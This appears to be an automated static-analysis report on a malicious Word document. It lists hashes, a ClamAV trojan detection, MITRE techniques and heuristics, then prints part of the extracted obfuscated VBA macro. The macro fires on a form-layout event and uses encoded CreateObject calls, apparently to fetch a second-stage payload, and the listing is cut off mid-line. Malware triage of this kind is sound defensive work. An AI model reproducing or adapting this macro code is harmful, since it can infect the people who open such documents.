Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 81d5626d826c4785…

MALICIOUS

Office (OLE)

217.0 KB Created: 2018-03-22 10:11:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 97ddc336d7d92b7db17d098ec2ee6092 SHA-1: 2342aece192ae610aee5f55741245d8883504b55 SHA-256: 81d5626d826c4785921a4e23f1ad759afadc9a1dd4dbd39e4a7b2297a5ae519f
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains VBA macros, including a CreateObject call, which is a common technique for executing malicious code. The ClamAV detection 'Win.Trojan.Agent-6754302-0' strongly suggests a known malware family. The VBA script appears to be obfuscated but likely attempts to download and execute a second-stage payload, as indicated by the CreateObject call and the overall heuristic firings.

Heuristics 5

  • ClamAV: Win.Trojan.Agent-6754302-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Agent-6754302-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22080 bytes
SHA-256: 648a72f039c0fe137b1e12e2b46ce86db2e5210282da9e82f82098a40bcf6fd2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub MultiPage1_Layout(ByVal Index As Long)
    Dim jXFqOgJHRyVMPSj As String
    Dim LEHPlphpqMwhRdas As Object
    Dim TbkwVbGJlwjeWiCQzIajFTdC As Integer
    Dim cRrUzMukX As String
    Dim rlwcAHBzQwRslbjPSHb As String

    TbkwVbGJlwjeWiCQzIajFTdC = 5685
    jXFqOgJHRyVMPSj = KUg("798e9f8a7d68997c8b66709566976e93896b6f666869") & "™nm"
    rlwcAHBzQwRslbjPSHb = "|˜ˆ—Ž•™Sx�" & "Š‘‘"
    If (TbkwVbGJlwjeWiCQzIajFTdC > 0) Then
        jXFqOgJHRyVMPSj = rlwcAHBzQwRslbjPSHb
        Set LEHPlphpqMwhRdas = CreateObject(KhFdkTZMJJyQyvFWRS(jXFqOgJHRyVMPSj))
    Else
        Set LEHPlphpqMwhRdas = CreateObject(KhFdkTZMJJyQyvFWRS(jXFqOgJHRyVMPSj))
    End If
    cRrUzMukX = GJfmjgLNVkEUNdlhkiOWRl("kEYHB" & "IqXtpyu" & "JAXkwAvOGM" & KUg("4276"))
    cRrUzMukX = VhBNwmhPYkQf(LEHPlphpqMwhRdas, cRrUzMukX, TbkwVbGJlwjeWiCQzIajFTdC)
End Sub

Function hxmoAevqoHkmJys(GMlzqkoqtTt As Integer, HuwYcvOblrKQIZEzMdv As String)
    Dim DYYgIf As Integer
    DYYgIf = GMlzqkoqtTt * 2
    HuwYcvOblrKQIZEzMdv = KUg("9a8e8873") & KUg("9c727191918b")
    If (GMlzqkoqtTt < DYYgIf) Then
        HuwYcvOblrKQIZEzMdv = KUg("907a9f7588") & KUg("74966f8a") & "q‘tˆg{g}ŸŸ" + HuwYcvOblrKQIZEzMdv
        DYYgIf = GMlzqkoqtTt - GMlzqkoqtTt
    End If
    hxmoAevqoHkmJys = DYYgIf
End Function

Function GJfmjgLNVkEUNdlhkiOWRl(OiqVKtFATZ As String) As String
    Dim WdtANaIOQmzqyo As String
    Dim gcIQQauP As String
    Dim aEUOBVTwTcX As String
    Dim wYIKGQkVSkMvPy As String
    Dim XXnzVySXRepYZ As String
    Dim HGpiaJf As String
    Dim JtigoPltLtucxDnub As String
    Dim bCrtjPWoNXKBe As String
    Dim cTrPqskQpMJUcmkfk As String
    Dim IUnBNeUmHc As String
    Dim OoknzYEMLLqAyNqVcx As String
    Dim WxOMTMBUTSfVqOd As String
    Dim qjNQNsvkuJUnsOkcbgT As String
    Dim HboBJeYAE As String
    Dim intfxwBJ As String
    Dim FFywBHwCKEFKN As String
    Dim RXuYc As String
    Dim AWWbwHbrgwooLauRAJ As String
    Dim hFTrlgMZxZOz As String
    Dim wzBZVvdwvkaFphF As String
    Dim eDbzezZc As String
    Dim hIuwGszxI As String
    Dim WIxbkb As String
    Dim wTaHgqm As String
    Dim FiPGTYsNGyjIdSjcyd As String
    Dim iTvnkEXiIna As String
    Dim XcLPBMkLCGDeFfiT As String
    Dim nGesKSaWVm As String
    Dim SFvwdYUaVm As String
    Dim YKafoP As String
    Dim viOWRTWvEckss As String
    Dim xoYqK As String
    Dim sOSFIGS As String
    Dim CcFpVBKyautnTL As String
    WxOMTMBUTSfVqOd = KUg("798a4c51") & "LrLNE" & KUg("4d477b4750") & "G†—n" & "fGPG" & "gqGP" & KUg("476a5f6d79") & KUg("5a898757474e") & "ENSG" & KUg("9b667185") & "zjG_" & "_GŠ}uŠ" & KUg("88995655556894") & KUg("8573798e739a6a4762") & "U`I œ" & "…ˆ¢bƒKMG V¢" & " U¢ W¢GR‹LRtgLQ" & "LsjœLQL�jhyLNEMG" & " Y¢ X¢ " & "U¢ W¢ V¢G" & KUg("528b454c8a6768") & KUg("918e4c514c794c514c6a934c514c9253738a99537c4c514c787e7899") & "ŠLN`I z¢bMG V[¢ Y¢ VU¢ VX¢ VZ¢ "
    intfxwBJ = " x…f" & KUg("9b8a8575") & "fy�¢" & "EbEI" & KUg("a097a260") & KUg("4549a08b") & "…zwq" & "¢bMG" & " \¢ " & "]¢ Y" & "¢ VV" & "¢ Z¢ U" & KUg("a2a056a2") & KUg("a057a2a05655") & "¢ [¢" & " ^¢ X" & KUg("a2474552") & KUg("8b454c898a4c514c") & "—T�Š‘" & "•Š—˜T†" & "LQLˆLQL‘”Œ" & "LQLSš‹" & KUg("9487538a") & "‰šS‡—Tˆ”" & "’•”“ŠLQL’„" & "‹Ž“LQL˜˜LQL�™™" & "•˜_T" & "TLQL••Œˆ†LQL" & "SLQLˆŠLQL“™˜Tˆ”LN`EI xh�…•†…ym¢bI ˜f›Š…•"
    IUnBNeUmHc = "EEE‘" & "—tnb" & "Šˆ�t" & "EnŠ�" & KUg("45454d6c") & "hnEj" & "s›_j" & KUg("6d7b9f4e537b66") & "‘zŠEƒ¡Eu" & "”|j—" & "xmj‘qER“”uw”k" & KUg("8e914545528a") & KUg("9d6a689a796e949345679e75") & "fxxEERs”sns™" & "jw†hEER“”Š�EERœ" & "nsEEmŽi‰Šs" & "EEEERKKˆriSŠ�ŠE" & KUg("454554684a9197946e4a47")
    OoknzYEMLLqAyNqVcx = KUg("a2a057a2a0") & "X¢ V¢" & "GR‹ELi" & "tLQL" & "fLQL|" & "sqtf‰" & "iLQLf™" & "LNSn“›”" & "�ŠMI ˜…" & "Šw¢PI ™¢N" & KUg("60
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.